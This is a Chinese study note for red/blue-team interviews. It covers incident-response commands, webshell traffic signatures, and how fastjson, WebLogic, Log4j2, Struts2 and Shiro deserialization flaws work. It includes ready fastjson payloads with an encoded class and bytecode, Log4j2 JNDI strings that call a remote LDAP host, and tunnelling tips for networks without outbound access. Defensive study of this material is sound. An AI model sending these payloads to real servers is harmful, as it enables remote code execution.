2024HW面试 中高级面试面经背诵笔记（持续更新）

常见数据库的端口，Vnc的端口等

参考答案地址：常见数据库默认端口号_数据库端口-CSDN博客

MySQL 3306

Oracle 1521

DB2 5000

PostgreSQL 5432

MongoDB 27017

Redis 6379

SQL Server 1433

vnc的端口是：5900

推荐一个很好的护网笔记：

基础学习 · 2022护网笔记 · 看云

Windows应急响应的流程和命令

参考

应急响应-Windows-进程排查_windows危险进程pid-CSDN博客

用户排查

net user查看所有用户 如果有$大概率是隐藏的影子用户 攻击者留下的

powershell下 wmic useraccount get name,SID查看用户

注册表下\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users下的Names可以看到所有用户 包括影子用户

进程排查

1.任务管理器里勾选进程名称和命令行 可以看到进程所在的文件地址

2.对于可能恶意的dll进程 可以用tasklist /m查看

对于特定dll可以用 tasklist /m 名称

tasklist /svc可以显示每个进程的服务对应情况

netstat -ano | findstr "ESTABLISHED" #可以在所有的网络连接中查看进程PID建立的连接

通过netstat定位出pid后 可以用 tasklist | find "3389" 来查看相应pid具体的应用程序

管理员权限用 netstat -anb 快速定位所有的端口对应的应用程序

启动项排查

cmd下msconfig即可看到所有的启动项

任务管理器里也可以看到启动项

计划任务排查

cmd下用schtasks可以查看

服务排查

services.msc即可

日志排查

win+R下的eventvwr

位置C:\Windows\System32\winevt\Logs

windows安全事件的id

4624登陆成功 4625无法登录 4776 ----- 域控制器尝试验证帐户的凭据

其它id 运维系列：windows安全事件id汇总_事件id4611-CSDN博客

排查临时文件目录

`C:\Users\Administrators\Local Settings\Temp`

`C:\Documents and Settings\Administrators\Local Settings\Temp`

`C:\Users\Administrator\App Data\Local`

`C:\Users\Administrator\App Data\Roaming`

浏览器相关的：

`C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files`

`C:\Users\Administrator\AppData\Local\Microsoft\Windows\Histroy`

`C:\Users\Administrator\AppData\Local\Microsoft\Windows\Caches`

Linux应急响应的流程

主机排查

lscpu查看主机信息

uname -a查看系统信息

cat /proc/version查看系统信息

用户信息排查

cat /etc/passwd

cat /etc/passwd|grep '/bin/bash' 查看可登陆的用户

lastlog 查看用户最近一次登陆的时间信息

lastb ssh登录失败的记录

last 查看系统所有的登陆记录信息等

linux的日志在 /var/log中

who或者w 命令查询utmp文件并报告当前登录的每个用户

有关用户登录的信息记录在 utmp(/var/run/utmp)

登录进入和退出记录在文件wtmp中 wtmp(/var/log/wtmp)

btmp(/var/log/btmp)

查看所有用户最近登陆信息：last -f /var/log/wtmp

启动项排查

cat /etc/init.d/rc.local

计划任务排查

crontab -l

crontab -u root -l

ls /etc/cron*

日志排查

/var/log/wtmp：记录登录进入、退出、数据交换、关机和重启，即last。

/var/log/cron：记录与定时任务相关的日志信息。

/var/log/messages：记录系统启动后的信息和错误日志。

/var/log/apache2/access.log：记录Apache的访问日志。

/var/log/auth.log：记录系统授权信息，包括用户登录和使用的权限机制等。

/var/log/userlog：记录所有等级用户信息的日志。

/var/log/xferlog（vsftpd.log）：记录Linux FTP日志。

/var/log/lastlog：记录登录的用户，可以使用命令lastlog查看。

/var/log/secure：记录大多数应用输入的账号与密码，以及登录成功与否。

/var/log/faillog：记录登录系统不成功的账号信息。

进程排查

主要使用ps -ef 来查看所有进程

或者ps -aux

可以查看指定进程 ps -ef | grep tomcat

• -e 显示所有进程
• -f 显示所有字段（UID，PPIP，C，STIME字段）
• -a 显示一个终端的所有进程
• -u 显示当前用户进程和内存使用情况
• -x 显示没有控制终端的进程
• --sort 按照列名排序

Webshell排查思路

参考： 应急响应-主机后门webshell的排查思路（webshell，启动项，隐藏账户，映像劫持，rootkit后门）_centos webshell排查-CSDN博客

排查外连状态，端口使用情况，后门的位置

外连排查：

pchunter或者火绒剑工具 定位木马位置 上传到微步等各种云沙箱进行文件扫描

netstat -anpt或者tasklist排查进程状态

pchunter查看进程，大多数木马文件在没有做屏蔽等措施，在厂商归属，指纹信息会显示异常，或者无任何厂商归属信息，可以借助为参考

webshell控制工具的流量特征

菜刀

菜刀 webshell 只使用了 url 编码 + base64 编码

shell 特征就是传输参数名为 z0，还存在int_set("display_erros","0")字符串特征

蚁剑

默认的蚁剑 shell，连接时会请求两次，其请求体只是经过 url 编码，其流量中也存在和蚁剑一样的代码

第一次请求，关闭报错和 magic_quotes，接下来去获取主机的信息

第二次请求，会把主机目录列出来

冰蝎2.0

使用 aes 加密发起三次请求

第一次请求服务端产生密钥写入 session，session 和当前会话绑定，不同的客户端的密钥也是不同的

第二次请求是为了获取 key，第三次使用 key 的 aes 加密进行通信

冰蝎3.0

使用 aes 加密发起两次请求

3.0 分析流量发现相比 2.0 少了动态密钥的获取的请求，不再使用随机生成 key，改为取连接密码的 md5 加密值的前 16 位作为密钥

一次请求为判断是否可以建立连接，少了俩次 get 获取冰蝎动态密钥的行为，第二次发送 phpinfo 等代码执行，获取网站的信息

哥斯拉

支持 n 种加密

采用了和冰蝎 3.0 一样的密钥交换方式，哥斯拉建立连接时会发起三次请求，第一次请求数据超级长，建立 session，第二三次请求确认连接

内存木马

参考： 【Web】小白友好的Java内存马基础学习笔记_java内存马类型-CSDN博客

标准步骤：

检查Web访问日志

分析可疑访问、对比Web目录、排查中间件和组件漏洞、使用专业工具检测

特征：

• 多个URL请求路径相同，但参数不同。

• 页面不存在，但返回状态码为200（表明请求被成功处理）。

内存马类型：FIlter、Listener、Servlet、Websocket、Agent

不出网的渗透思路

参考： 内网渗透：不出网渗透技巧-腾讯云开发者社区-腾讯云

（1）尝试搭建Socks隧道，常用的工具包括reGeorg和Proxifier，将本地带入内网中

（2）借助**pystinger工具，**通过webshell实现内网SOCK4代理，端口映射可以使目标不出网情况下在cs上线（利用http隧道使用pystinger上线到CobaltStrike）

（3）如果拿下了目标主机的管理员权限，可以激活guest用户，建立基于http的socks隧道，登录远程桌面，在目标内网搭建cs服务端。 缺点：被发现概率上升；需要安装java环境；基于web的socks隧道速度很慢，心态容易蹦。

几个反序列化的流量特征和原理

参考： 2024年hw蓝队初级面试总结_weblogic反序列化流量特征(1)_weblogic漏洞反序列化流量特征-CSDN博客

fastjson

反序列化产生原理：

1.Fastjson漏洞产生原理主要是通过反序列化恶意构造的JSON内容，程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数，进而导致代码执行

2.此外，Fastjson存在远程代码执行漏洞，autotype开关的限制可以被绕过，链式的反序列化攻击者精心构造反序列化利用链，最终达成远程命令执行的后果

流量特征：

fastjson1.2.24反序列化漏洞原理

1、fastjson提供的反序列化功能允许用户传入json格式数据的时候通过@type的value值指定任意反序列化类名

2、fastjson的反序列化机制会将反序列的类进行实例化对象，并调用该对象的setter和部分getter方法

3、恶意用户可以构造payload是目标应用的代码执行流程进入这部分setter和getter方法，如果这些方法中存在Gadget，就会造成一些安全问题。

4、官方采取黑名单过滤的方法，对反序列化的类名进行校验，checkAutoType不断被绕过

fastjson出网利用 流程：

使用@type的value字段执行反序列化的类，例如JdbcRowSetImpl这个类，接着将这个类中的成员变量datasourcename的value值设为rmi远程加载类 ，这样fastjson在将传入的类反序列化、实例对象后，会通过成员变量传入的value值，请求rmi服务器，最后rmi返回远程类 ，fastjson执行这个远程恶意类。导致rce漏洞 。

fastjson反序列化的特征 ：

在请求包中查找json格式的字符串以及@type字段，重点在于rmi和一些出网操作

如果fastjson不出网的利用：

重点关注类BasicDataSource，其中的driverClassLoader和driverClassName为用户可控，重点关注这部分

原理：

org.apache.tomcat.dbcp.dbcp2.BasicDataSource

条件：BasicDataSource需要有dbcp或者tomcat-dbcp的依赖

利用过程：使用BasicDataSource链，构造恶意类后将其的字节码转化为BCEL格式 ，其中driverClassName 和driverClassLoader都是可控的，由用户输入，指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader，设置ClassName为BCEL..这种格式，字newInstance方法执行后被实例化，第二个参数initial为true时，类加载后将会直接执行static{}块中的代码。

参考请求包：（driverClassName中有很多的$符号）

{
	"@type":"java.lang.Class",
	"val":"com.sun.org.apache.bcel.internal.util.ClassLoader"
	},
{
	"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
	"driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},
	"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7d$91$cfN$C1$Q$c6$bf$c2$$$c5$ba$C$o$e2$3fD$b8$n$HI$bcJ$bc$YM$d0U$P$Q$8e$seidq$dd$dd$y$8b$f1$8d$3csQ$e3$c1$H$f0$a1$8c$b3$F5$5el$d2$99$ce7$9d_$a7$ed$c7$e7$db$3b$80C$d4$F$b2$d801$li$81Mlql$L$98$d8$e1$a8p$ec2d$da$ae$ef$c6$c7$M$e9$c6$7e$9f$c18$J$86$8a$no$bb$be$ba$9a$de$PT$d4$93$D$8f$94$a2$j8$d2$eb$cb$c8M$e2$85h$c4$pw$c2$c0$ed$89$a7Tx$c4$90m$3b$de$82$c7$u_$b3$c7$f2A$b6$3c$e9$df$b6$3a$7e$ac$a2h$g$c6jx$fa$e8$a80v$D$9f$wV$ba$b1t$ee$$e$a8$91$d4$j$83$e8$G$d3$c8Qgnr$84$d0$e8$83$84ca$J$82$a3j$a1$82$3d$86$ea$ffl$L5$I$GS$d73$U$7ew_$P$c6$ca$89$ffH$bdQ$a4$e4$90$$$d48O$5e$n$lF$ae$l$eb$cez$91t$U$ea$e0$f4$94$c9H$81$rm$90$5d$a6$a8E$9e$917$9b$_$603$9d$b6$c8f$b4H$97$pk$cd7$m$87$3c$f9$y$K$3f$c57$g$G$e4KH$bd$c2xB$f6$a2$f9$8c$ccL$8b$Z$3a$c5DZ$e3$caH$fe$d0$m$8dkU$d0$wG$a8o$bc$a0$dc$w$8a$U$ad$d1$e4Hu8J$G$r$d6uG$e5$_$H$X$vT$R$C$A$A"}

也有基于TemplatesImpl类的不出网利用

重点关注其bytecodes字段的内容

参考包：

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcAIQwAIgAjAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAJAAlAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABEAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABYADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABkACAAaAAwAAAAEAAEAFAABABUAAAACABY="],'_name':'a.b','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}

weblogic

参考：https://www.cnblogs.com/MoZiYa/p/16690196.html

WebLogic_T3反序列化漏洞（一） - 哔哩哔哩

Weblogic漏洞学习：T3反序列化 - 先知社区

类似于tomcat的中间件 端口：7001

漏洞分类：

（1）基于T3协议的反序列化

（2）基于xml解析时候造成的反序列化

（3）ssrf，权限绕过等

流量特征：

具体到流量特征，可以通过追踪t3流量来进行分析，因为Weblogic使用的协议为T3，态势内的漏洞监测也是基于T3协议来告警触发的。

XMLDecoder反序列化

WLS组件对外提供web服务，使用XMLDecoder解析传入的XML数据，在解析的过程中出现反序列化漏洞，造成命令执行。

原理：xml反序列化，这是wls security组件对外提供的webserver页面，通过xmlDecoder功能来解析用户的xml数据导致的任意字符串被当做代码去执行

特征 ：服务器开放7001端口 传递xml数到wls-wsat 数据包内容有bash 或者dnslog字段。

1、poyload的会存在放请求体中，带有明文的
2、带有明文的请求体的poyload中会有要执行的命令

T3协议反序列化

T3协议端口：

t3协议与weblogic的web服务使用同一个端口（默认7001），当你以http协议请求weblogic会使用http协议处理，你以t3协议请求就以t3协议处理！

T3协议概述：

RMI通信传输反序列化数据，接收数据后进行反序列化，正常RMI通信使用的是JRMP协议，而在Weblogic的RMI通信中使用的是T3协议 。T3协议是Weblogic独有的一个协议，相比于JRMP协议多了一些特性。

漏洞原理：

Weblogic在利用T3协议进行远程资源加载调用时，默认会进行黑名单过滤以保证反序列化安全。本漏洞绕过了Weblogic的反序列化黑名单，使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击。由于T3协议在Weblogic控制台开启的情况下默认开启，而Weblogic默认安装会自动开启控制台，所以攻击者可通过此漏洞造成远程代码执行，以控制Weblogic服务器。

流量特征：

客户端和服务端的握手包头一般是客户端发送t3 xxx 服务端返回的是HELO等等

协议头过后一般是一个或多个反序列化的标志

T3协议中每个反序列化数据包前面都带有fe 01 00 00，而后再加上

Java反序列化标志ac ed 00 05

之后数据就在这些标志后面，重点关注被反序列化的数据的请求内容

经典漏洞：CVE-2015-4852

Log4j2反序列化

参考：一文读懂面试官都在问的Log4J2漏洞_log4j2漏洞原理-CSDN博客

java日志记录的框架

产生原理：

Log4j2漏洞的产生原理主要是由于其JNDI（Java Naming and Directory Interface）注入功能，这一功能允许通过日志记录来查找和访问各种服务，如LDAP服务器、数据库等。具体来说，Log4j存在递归解析功能，未取得身份认证的用户可以从远程发送数据请求输入数据日志，从而轻松触发漏洞，最终在目标上执行任意代码。

log4j2框架下的lookup服务提供了{}字段解析功能，传进去的值会被直接解析，JNDI服务会请求远程服务来链接本地对象，这时候只用在{}里面调用JNDI服务即可反弹shell到指定服务器

防御手段：禁用JndiLookup来修复，阿里云则基于RASP技术，无需新增规则也能默认防御此类漏洞。

特征：恶意请求中包含JNDI协议地址 ，如"ldap://"，JNDI 数据包里有{jndi:ldap//}字段

漏洞原理：

​ log4j2 远程代码执行漏洞大致过程（此处使用RMI，LDAP同理）： 假设有一个Java程序，将用户名信息到了日志中，如下

**a.**攻击者发送一个HTTP请求，其用户名为**${jndi://rmi服务器地址/Exploit}**

**b.**被攻击服务器发现要输出的信息中有 ${}，则其中的内容要单独处理，进一步解析是JNDI扩展内容且使用的是RMI，而后根据RMI服务器地址去请求Exploit。

**c.**RMI服务器返回Reference对象（用于告诉请求端所请求对象所在的类），而该Reference指定了远端 文件下载服务器上含有恶意代码的class文件。

**d.**被攻击服务器通过Reference对象去请求文件下载服务器上的class文件。

**e.**被攻击服务器下载恶意class文件并执行其中的恶意代码
LDAP

​ 当用户输入信息时，应用程序中的log4j2组件会将信息记录到日志中

**a.**假如日志中含有该语句**${jndi:ldap:192.168.96.1:1099/exp}**

**b.**被攻击服务器发现要输出的信息中有 ${}，log4j就会去解析该信息，通过jndi的lookup()方法去解析该URL：ldap:192.168.96.1:1099/exp

**c.**解析到ldap，就会去192.168.61.129:1099的ldap服务找名为exp的资源，如果找不到就会去http服务中找在http中找到exp之后，就会将资源信息返回给应用程序的log4j组件，而log4j组件就会下载下来，然后发现exp是一个**.class文件**，就会去执行里面的代码，从而实现注入攻击者就可以通过shell实现任意的命令执行，造成严重危害

struct2反序列化

介绍：

Struts是Apache基金会的一个开源项目，Struts通过采用Java Servlet/JSP技术，实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架，是MVC经典设计模式中的一个经典产品。

目前，Struts框架广泛应用于政府、公安、交通、金融行业和运营商的网站建设，作为网站开发的底层模板使用，是应用最广泛的Web应用框架之一。

介绍：

Apache Struts 2被曝存在远程命令执行漏洞，漏洞编号S2-045，CVE编号CVE-2017-5638，在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入侵。

恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞，进而执行系统命令。

产生原理：

1.Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个OGNL语句。

2. REST插件的XStream组件反序列化漏洞、远程命令执行和开放重定向漏洞、用户提交表单数据验证失败导致的安全问题、文件上传时路径遍历漏洞实施RCE、OGNL表达式绕过安全过滤机制

Struts2漏洞的流量特征主要涉及到攻击者通过构造恶意的OGNL表达式来执行代码，这些表达式是在框架执行时对用户传来的恶意OGNL表达式进行解析并执行成代码的过程例如，S2-059 (CVE-2019-0230)漏洞就是由于Apache Struts框架在强制执行时，会对分配给某些标签属性（如id）的属性值执行二次OGNL解析，从而允许攻击者利用这一机制来执行任意代码
此外，Struts2 REST插件的XStream组件存在反序列化漏洞，未对数据内容进行有效验证，可被远程攻击者利用

流量特征：

1、poyload存放在请求头的content-type中 ，正常content-type是代表的类型

2、content-type会显得非常长、会有一些java命令

3、有回显的

shiro反序列化

参考：shrio流量特征 · 2022护网笔记 · 看云

2024年hw蓝队初级面试总结_weblogic反序列化流量特征(1)_weblogic漏洞反序列化流量特征-CSDN博客

分为两种shiro550和shiro721

Apache Shiro是一款开源强大且易用的Java安全框架，提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用，同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中，加密的用户信息序列化后存储 在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令。

shiro550

原理：

导致shiro反序列化的主要原因就是shiro提供的记住密码 功能，当用户打开这个功能时会在请求阿包中生成一个cookie，cookie的value值是经过反序列->aes加密->base64加密 后的字符串，关键在于aes加密的秘钥是默认的，如果没有修改这个秘钥，就会导致反序列化漏洞，攻击者可以构造恶意代码，将恶意代码序列化-aes加密-base64加密后传入cookie，这样就导致RCE漏洞。

特征：shiro是一个身份验证组件，一般用在登录模块，登录失败会有一个失败标识rememberme=deleteme，如果返回包中存在该字段则说明可能存在反序列化漏洞。
Apache Shiro如何记住我?

1.序列化用户身份对象.(这里为SimplePrincipalCollection)

2.对序列化后的数据进行AES加密,密钥为常量.

3.base64编码

4.设置到cookie中,cookie name等于rememberMe.
Apache Shiro如何解析我?

1.读取cookie中的rememberMe的值.

2.对其值进行base64解码.

3.AES解密

4.反序列化

攻击方法：

手动构造一个反序列化 payload，进行AES加密(密钥我们知道的)和base64编码，即可在反序列化时执行任何操作.

整体流程就是：命令 => 序列化 =>AES加密 => base64编码 => RememberMe Cookie值 => base64解密 => AES解密 => 反序列化 => 执行命令

流量特征：

第一种情况

返回包中含有rememberMe=deleteMe这个字段（因为shiro本身功能就是一个身份验证管理，所一般在登录口可以看到）。
第二种情况

直接发送原数据包，返回的数据中不存在关键字

可以通过在发送数据包的cookie中增加字段：rememberMe=deleteMe

然后查看返回数据包中是否存在关键字。

流量特征：

将poyload进行加密，并赋给rememberme
rememberme的数据要比正常的长
如果将数据进行了缩短的话，可以到在线解密的网站进行解密，观察poyload中的危险函数，例如runtime

Shiro Padding Oracle Attack（Shiro-721）

原理：

由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题，用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段，并重新请求网站，进行反序列化攻击，最终导致任意代码执行。

漏洞利用：

学习地址：shrio流量特征 · 2022护网笔记 · 看云

1.登录Shiro网站，从cookie中获得rememberMe字段的值。

2.设置相应的payload值

3.使用rememberMe值加载payload重新生成rememberMe攻击字符串

4.重新用这个字符串请求网站